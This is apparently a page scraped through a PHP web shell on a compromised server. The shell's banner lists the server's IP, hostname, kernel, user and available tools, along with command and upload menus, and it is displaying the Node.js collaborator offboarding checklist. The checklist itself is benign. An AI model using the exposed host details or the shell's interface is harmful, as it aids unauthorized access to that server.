Server IP : 192.168.23.10 / Your IP : 216.73.216.174 Web Server : Apache System : Linux echo.premieradvertising.com 5.14.0-362.8.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 7 14:54:22 EST 2023 x86_64 User : rrrallyteam ( 1049) PHP Version : 8.1.32 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /home/../usr/share/doc/perl-Unicode-LineBreak/../nodejs/html/contributing/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
# Offboarding This document is a checklist of things to do when a collaborator becomes emeritus or leaves the project. * Remove the collaborator from the @nodejs/collaborators team. * Open a fast-track pull request to move the collaborator to the collaborator emeriti list in README.md. * Determine what GitHub teams the collaborator belongs to. In consultation with the collaborator, determine which of those teams they should be removed from. * Some teams may also require a pull request to remove the collaborator from a team listing. For example, if someone is removed from @nodejs/build, they should also be removed from the Build WG README.md file in the <https://github.com/nodejs/build> repository. * Open an issue in the [build](https://github.com/nodejs/build) repository titled `Remove Collaborator from Coverity` asking that the collaborator be removed from the Node.js coverity project if they had access.